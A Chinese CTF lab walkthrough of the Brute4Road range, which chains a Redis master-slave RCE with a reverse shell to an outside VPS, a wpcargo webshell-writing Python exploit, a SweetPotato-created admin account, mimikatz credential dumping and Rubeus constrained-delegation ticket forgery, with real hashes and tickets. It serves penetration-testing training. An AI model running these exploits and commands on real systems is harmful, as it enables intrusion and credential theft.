[春秋云镜] Brute4Road 仿真场景
文章目录
- 靶标介绍:
- 知识点
- 约束性委派攻击
- 外网
- redis主从复制
- base64提权
- 内网
- 搭建代理
- wpcargo插件漏洞
- mssql弱口令
- SweetPotato提权
- 远程桌面连接
- mimikatz抓取hash
- 约束性委派攻击
- 参考文章
靶标介绍:
Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
考点:
- redis主从复制rce
- base64命令提权
- sweetpotato提权
- 约束性委派
知识点
约束性委派攻击
委派:指将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域内时所用的账户
S4U:Services for User,是一种Kerberos扩展,允许服务在没有用户凭据的情况下为用户请求票据。(默认支持)
进行约束委派攻击的前提
-
要拿到服务账户的NTLM哈希
-
服务账户配置了到域控制器上的特定服务(如CIFS) 进行约束委派
约束委派使得该服务账户能够代表其他账户(如Administrator) 请求访问该服务的票据
- 域环境中启用了S4U扩展
攻击流程
工具地址: GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
- 申请TGT: 使用Rubeus工具为
MSSQLSERVER$
账户申请TGT
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
/user:MSSQLSERVER$
:指定用户为MSSQLSERVER$
/rc4:78aa7721aeb225c7495de5a172e0e238
:使用NTLM哈希(RC4密钥)进行身份验证
/domain:xiaorang.lab
:指定域
/dc:DC.xiaorang.lab
:指定域控制器。
/nowrap
:输出票据时不换行, 便于后续的利用
- 使用S4U申请服务票据:利用S4U扩展,伪装成Administrator用户,申请访问域控(DC.xiaorang.lab)的CIFS服务的票据
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
/impersonateuser:Administrator
:伪装成Administrator用户(域管理员,具有高权限)
/msdsspn:CIFS/DC.xiaorang.lab
:目标服务为域控的CIFS服务。
CIFS是文件共享协议,控制它就能访问域控的文件系统, 访问敏感文件, 植入后门等
/dc:DC.xiaorang.lab
:指定域控制器
/ptt
:将获取的票据注入到当前会话中 ( Pass-the-Ticket )
/ticket:...
:使用之前获取的TGT
外网
先用fscan扫描一下, 可以发现有redis的未授权访问
redis主从复制
参考文章: https://www.freebuf.com/articles/web/249238.html
利用工具: https://github.com/n0b0dyCN/redis-rogue-server
原理:
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
条件:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
fscan扫描出来的信息可以看到redis的版本是5.0.x, 而且可以未授权访问
打redis的主从复制, 在自己的 vps上面运行
python3 redis-rogue-server.py --rhost 39.98.123.25 --lhost 8.154.17.163
rhost --> 题目ip
lhost –> vps这里要确保自己vps防火墙要打开21000端口, 之前以为安全组放开了所有端口就行, 但是脚本一直没有运行成功, 后面把防火墙端口打开才成功
后续输入
r
表示进行反弹shell, 然后输入自己vps的ip, 端口
base64提权
为方便查看, 进入python的交互式
python -c 'import pty; pty.spawn("/bin/bash")'
没有权限读取flag, 需要提权
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
可以找到一个base64提权 (https://gtfobins.github.io/gtfobins/base64/)
用法: base64 "文件" | base64 --decode
base64 "flag01" | base64 --decode
内网
vps开启一个http服务, 用于在题目靶机上下载一些需要的工具文件
python3 -m http.server 8080 --directory /path/to/files
下载fscan, chisel等
wget http://ip:8080/fscan
wget http://ip:8080/chisel
ifconfig无法查看ip, 使用netstat -ano查看网络服务可以看到靶机内网ip, 用于扫描
./fscan -h 172.22.2.7/24 -o 1.txt
根据扫描结果: 存活5个主机
172.22.2.3 域控主机
172.22.2.7 存在CentOs服务
172.22.2.18 存在WordPress站点, 存在smb弱口令
172.22.2.16 域内主机,MSSQLSERVER服务, 存在smb弱口令
172.22.2.34
尝试了一下smb弱口令登录
要么权限不足无法查看 (c$
) , 要么可以查看但是却没有用的信息
权限也不够, 也没法执行命令
proxychains4 crackmapexec smb 172.22.2.16 -u admin -p 123456 -d xiaorang.lab -x "whoami"
还是看看wordpress的站点, 找找有没有漏洞
先搭建代理
搭建代理
使用chisel搭建代理
服务端(vps)
./chisel server -p 8888 --reverse
客户端
./chisel client [vps]:8888 R:0.0.0.0:9383:socks
火狐浏览器设置里面连socks5的代理可以成功看到内网的站点
wpcargo插件漏洞
扫描一下wordpress的站点, 查看是否有漏洞
proxychains4 wpscan --url http://172.22.2.18
可以发现一个插件 wpcargo
可能存在漏洞
网上有 poc (https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/ )
直接利用脚本打
import sys
import binascii
import requests# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int):return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://172.22.2.18/'
cmd = 'ls'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.requests.get(f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)# We have uploaded a webshell - now let's use it to execute a command.print(requests.post(f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
访问相应路由可以发现shell已经写入进去了, 用蚁剑连接
蚁剑连之前也要先进行socks代理
没有找到flag, 但是有一个配置文件, 里面有数据库的用户名和密码
直接用蚁剑连接数据库,
数据库里面可以直接找到flag
并且数据库里面还可以找到一些密码, 估计就是提醒你进行弱口令爆破
mssql弱口令
前面fscan搜集的一些信息可知, 172.22.2.16
主机是存在mssql服务的, 并且开放了1433端口
那么把数据导出来, 爆破一下密码
fscan -h 172.22.2.16 -m mssql -pwdf 1.txt
sa / ElGNkOiC
, sa是默认用户
然后MDUT连上去
此时已经是通过工具proxifier, 将自己的主机进行了socks5的代理, 才可以用MDUT连接上172.22.2.16的内网主机
权限不足无法查看flag, 需要提权, 这里之前也做过类似的, 也很容易想到上传SweetPotato
进行提权
先激活组件, 然后就可以上传文件了
SweetPotato提权
命令格式:
SweetPotato.exe -a "cmd"
可以发现已经是system
的权限
windows查看网络连接 netstat -ano
可以发现3389端口是打开的, 可以进行远程连接
远程桌面连接
既然打开了3389端口, 并且现在提权到了管理员权限, 那么就可以尝试添加新用户, 并将其加入到管理组
用新添加的用户进行远程桌面连接
C:/Users/Public/sweetpotato.exe -a "net user xpw 123Xpw! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators xpw /add"
密码不能太弱了, 要不然可能会无法添加成功
添加成功新用户后, 直接windows的远程桌面连接就行(windows已经是进行了全局代理的)
新添加的用户也是被添加进管理组的, 所以也是有权限可以读取flag的
mimikatz抓取hash
因为是在windows上面进行的远程连接, 好像默认是可以直接共享C盘下的文件, 所以我直接把mimikatz.exe
放到我的C盘下, 远程桌面也就可以直接接收到这个文件, 可以执行用来抓取用户hash
常用组合:
privilege::debug
sekurlsa::logonpasswords
privilege::debug
尝试将当前 Mimikatz 进程提升为“调试权限”(SeDebugPrivilege),这样它就可以访问其他高权限进程的内存,尤其是 LSASS(Local Security Authority Subsystem Service)进程。
- 如果没有这个权限,就无法读取包含密码和票据信息的 LSASS 内存。
- 正常用户没有该权限,只有 管理员(或 SYSTEM)权限的进程才能成功执行。
sekurlsa::logonpasswords
从内存中(通常是
lsass.exe
)提取当前或已登录用户的:明文密码(如果可用),哈希(NTLM),
Kerberos 票据(TGT、TGS), 凭据缓存(Cached Credentials), 远程桌面/网络登录凭据等
拿到服务账户 MSSQLSERVER$
的NTLM
1d35efe0f482e03887accf3f2ec11f3b
约束性委派攻击
可以使用bloodhound
工具对域内信息进行搜集
MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,然后再通过 S4U 协议伪造高权限 ST 拿下域控
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
现在就拿到域控了, 直接执行命令拿flag
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
参考文章
https://fushuling.com/index.php/2023/09/03/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7brute4road/
https://www.cnblogs.com/fdxsec/p/17893308.html
https://blog.csdn.net/Jayjay___/article/details/141405315
相关文章:

[春秋云镜] Brute4Road 仿真场景
文章目录 靶标介绍:知识点约束性委派攻击 外网redis主从复制base64提权 内网搭建代理wpcargo插件漏洞mssql弱口令SweetPotato提权远程桌面连接mimikatz抓取hash约束性委派攻击 参考文章 靶标介绍: Brute4Road是一套难度为中等的靶场环境,完成…...
adb 实用命令汇总
版权归作者所有,如有转发,请注明文章出处:https://cyrus-studio.github.io/blog/ 基础adb命令 # 重启adb adb kill-server# 查看已连接的设备 adb devices# 进入命令行 adb shell# 使用 -s 参数来指定设备 adb -s <设备序列号> shell…...

鸿蒙系统使用ArkTS开发语言支持身份证阅读器、社保卡读卡器等调用二次开发SDK
har库导入: { "license": "", "devDependencies": {}, "author": "", "name": "entry", "description": "Please describe the basic information.", &qu…...

《Python星球日记》 第54天:卷积神经网络进阶
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、深度CNN架构解析1. LeNet-5(1998)2. AlexNet&#x…...

《AI大模型应知应会100篇》第53篇:Hugging Face生态系统入门
第53篇:Hugging Face生态系统入门 ——从模型获取到部署的全流程实战指南 📌 摘要 在人工智能快速发展的今天,Hugging Face已成为自然语言处理(NLP)领域最具影响力的开源平台之一。它不仅提供丰富的预训练模型、强大…...

【基于 LangChain 的异步天气查询2】GeoNames实现地区实时气温查询
目录 功能简介 一、创建GeoNames账号 1、进入官网 2、创建账号 二、运行代码 weather_runnable.py main.py 运行结果 功能简介 本文主要通过Langchain,结合GeoNames实现了地区温度的实时查询,并通过GPT-4o对温度进行一段简短的描述。 一、创建Ge…...
嵌入式与物联网:C 语言在边缘计算时代的破局之道
引言 在万物互联的 2025 年,全球物联网设备连接数突破 300 亿台,其中 78% 的嵌入式控制系统仍基于 C 语言开发。这种跨越半个世纪的编程语言,正以新的技术形态在智能汽车、工业物联网、边缘计算等领域重塑竞争力。本文通过三个前沿应用场景&…...
《基于人工智能的智能客服系统:技术与实践》
一、引言 在数字化时代,客户服务已成为企业竞争的关键领域之一。随着人工智能(AI)技术的飞速发展,智能客服系统逐渐成为企业提升服务质量和效率的重要工具。智能客服不仅能够快速响应客户咨询,还能通过自然语言处理&am…...
5. HTML 转义字符:在网页中正确显示特殊符号
在 HTML 开发中,我们经常会遇到需要显示特殊字符的情况,比如 <、>、空格或版权符号等。直接输入这些字符可能会导致 HTML 解析错误或显示异常。接下来通过学习 HTML 转义字符(也称为实体字符),将会掌握了如何在网页中正确显示这些特殊符号的方法。 一、为什么需要转…...
基于nodejs + Koa +Nuxt3的订单系统项目实战
以下是一个基于 Node.js Koa Nuxt3 的订单系统项目实战指南,包含关键实现步骤和代码示例: 一、项目架构设计 project/ ├── backend/ # Koa 后端 │ ├── config/ # 配置文件 │ ├── controllers/ # 控制器 │ ├──…...
软件开发者如何转战AI领域
在人工智能(AI)技术迅猛发展的当下,越来越多的软件工程师开始考虑转型进入AI领域。本文将探讨AI软件行业的现状、所需能力,以及普通软件工程师在转型过程中可以借助的技能和需要补充的知识。 AI软件行业的现状 截至2025年&#…...

服务器数据恢复—硬盘坏道导致EqualLogic存储不可用的数据恢复
服务器存储数据恢复环境&故障: 一台EqualLogic某型号存储中有一组由16块SAS硬盘组建的RAID5阵列。上层采用VMFS文件系统,存放虚拟机文件,上层一共分了4个卷。 磁盘故障导致存储不可用,且设备已经过保。 服务器存储数据恢复过程…...

JAVA实战开源项目:智能学习平台系统 (Vue+SpringBoot) 附源码
本文项目编号 T 181 ,文末自助获取源码 \color{red}{T181,文末自助获取源码} T181,文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…...
Linux系统使用vscode格式化shell脚本
推荐工具及配置方案 BeautySH 特点 纯 Python 实现,轻量级且活跃维护。 配置步骤 安装 BeautySH pip3 install beautyshVSCode 集成 打开命令面板(CtrlShiftP),输入 Tasks: Configure Task,选择 Create tasks.json f…...
牛客练习赛138
目录 A-小s的签到题 无注释版 有注释版 B-行列改写 无注释版 有注释版 C-树上替身追赶游戏 无注释版 有注释版 A-小s的签到题 无注释版 #include<bits/stdc.h> using namespace std; struct f{char ch;int x; }a[110]; bool cmp(f p,f q){if(p.xq.x) return p…...

傅利叶十周年,升级核心战略:“有温度”的具身智能蓝图
5月9日,傅利叶十周年庆典暨首届具身智能生态峰会在上海正式召开。本次大会以“十年共创,具身成翼”为主题,汇聚了来自通用机器人与医疗康复领域的顶尖专家学者、合作伙伴与投资机构,共同探索具身智能在未来十年的技术应用与生态发…...
JS正则表达式介绍(JavaScript正则表达式)
文章目录 JavaScript正则表达式完全指南正则表达式基础元字符与特殊字符基本元字符. - 点号\d - 数字\D - 非数字\w - 单词字符\W - 非单词字符\s - 空白字符\S - 非空白字符 正则表达式标志常用标志详解g - 全局匹配i - 忽略大小写m - 多行匹配s - 点号匹配所有字符u - Unicod…...

AI安全之对抗样本攻击---FGSM实战脚本解析
一、对抗样本与FGSM的背景 在深度学习安全领域,对抗样本(Adversarial Examples)因其特殊的生成机制备受关注。2015年ICLR会议收录的里程碑式论文《Explaining and Harnessing Adversarial Examples》中,Goodfellow等学者首次系统…...

《Python星球日记》 第50天:深度学习概述与环境搭建
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、什么是深度学习?它与传统机器学习的区别1. 深度学习的定义2. 深…...
Android开发-图像显示
在Android应用开发中,图像显示是提升用户体验的重要元素之一。无论是展示产品图片、用户头像还是应用程序图标,合理地使用图像资源可以显著增强界面的吸引力和功能性。本文将详细介绍如何在Android应用中有效地显示图像,包括加载本地与网络图…...

linux搭建hadoop学习
linux搭建hadoop学习 下载安装包: 海外资源可能需要翻墙或者找国内资源 cd /opt wget https://dlcdn.apache.org/hadoop/common/hadoop-2.10.2/hadoop-2.10.2.tar.gz tar -zxvf hadoop-2.10.2.tar.gz mv hadoop-2.10.2 hadoop配置环境变量 # 在/etc/profile文件中添加下面内…...

PyTorch API 8 - 工具集、onnx、option、复数、DDP、量化、分布式 RPC、NeMo
文章目录 torch.nn.inittorch.nn.attention工具集子模块 torch.onnx概述基于 TorchDynamo 的 ONNX 导出器基于TorchScript的ONNX导出器贡献与开发 torch.optim如何使用优化器构建优化器每个参数的选项执行优化步骤optimizer.step()optimizer.step(closure) 基类算法如何调整学习…...

0基础 | STM32 | TB6612电机驱动使用
TB6612介绍及使用 单片机通过驱动板连接至电机 原因:单品机I/O口输出电流I小 驱动板:从外部引入高电压,控制电机驱动 电源部分 VM:电机驱动电源输入,输入电压范围建议为3.7~12V GND:逻辑电…...

【Linux】POSIX 线程信号量与互斥锁▲
代码要求:高内聚,低耦合 高内聚:元素之间具有很强的关联性,模块的功能单一且集中 低耦合:代码之间的依赖关系尽可能简单,相互之间的影响和交互尽可能少 线程安全问题:多线程访问共享数据&…...
轻松制作高质量视频,实时生成神器LTX-Video重磅登场!
探索LTX-Video:实时视频生成跨越新高度 在如今这个视觉内容主导的数字时代,视频生成成为推动创意表达的关键。而今天,我们将带您深入探索LTX-Video,一个强大的开源项目,致力于通过尖端技术将视频生成提升到一个全新的…...

USR-M100采集数据并提交MQTT服务器
本文为记录备忘,不做过多解释。 模块自身带有2路数字量输入,2路模拟量输入,2路485接口 数字量接报警输入,模拟量接压力传感器,液位传感器,485接口分别接流量计,温湿度传感器。 正确接线&…...

内网穿透系列三:开源本地服务公网映射工具 tunnelmole
以下是对 tunnelmole 简要介绍: tunnelmole 是一款开源的内网穿透工具,一行命令就能把本地http服务映射成公网可访问的链接提供公共免费的网络服务,直接下载运行命令即可使用,也支持自行配置搭建私有客户端、服务端参考开源地址&…...

数据集-目标检测系列- 冥想 检测数据集 close_eye>> DataBall
数据集-目标检测系列- 冥想 检测数据集 close * 相关项目 1)数据集可视化项目:gitcode: https://gitcode.com/DataBall/DataBall-detections-100s/overview 2)数据集训练、推理相关项目:GitHub - XIAN-HHappy/ultralytics-yolo-…...
计算机网络:家庭路由器WiFi信号的发射和手机终端接收信号原理?
WiFi路由器与手机之间的信号传输涉及多个技术层面的协作,以下是其工作原理的详细步骤: 一、数据封装与协议处理 应用层数据生成 用户操作(如浏览网页、视频播放)产生数据包,经TCP/IP协议栈逐层封装,添加IP地址(网络层)和MAC地址(数据链路层)。协议封装 数据包被封装…...
用 NGINX 打造高性能 FastCGI 加速 `ngx_http_fastcgi_module`
一、安装与启用 # 在编译 NGINX 源码时加上: ./configure --with-http_fastcgi_module make && sudo make install# 或确保你使用的二进制已内置(大多数发行版都默认包含) nginx -V | grep fastcgi二、基础转发配置 http {server {…...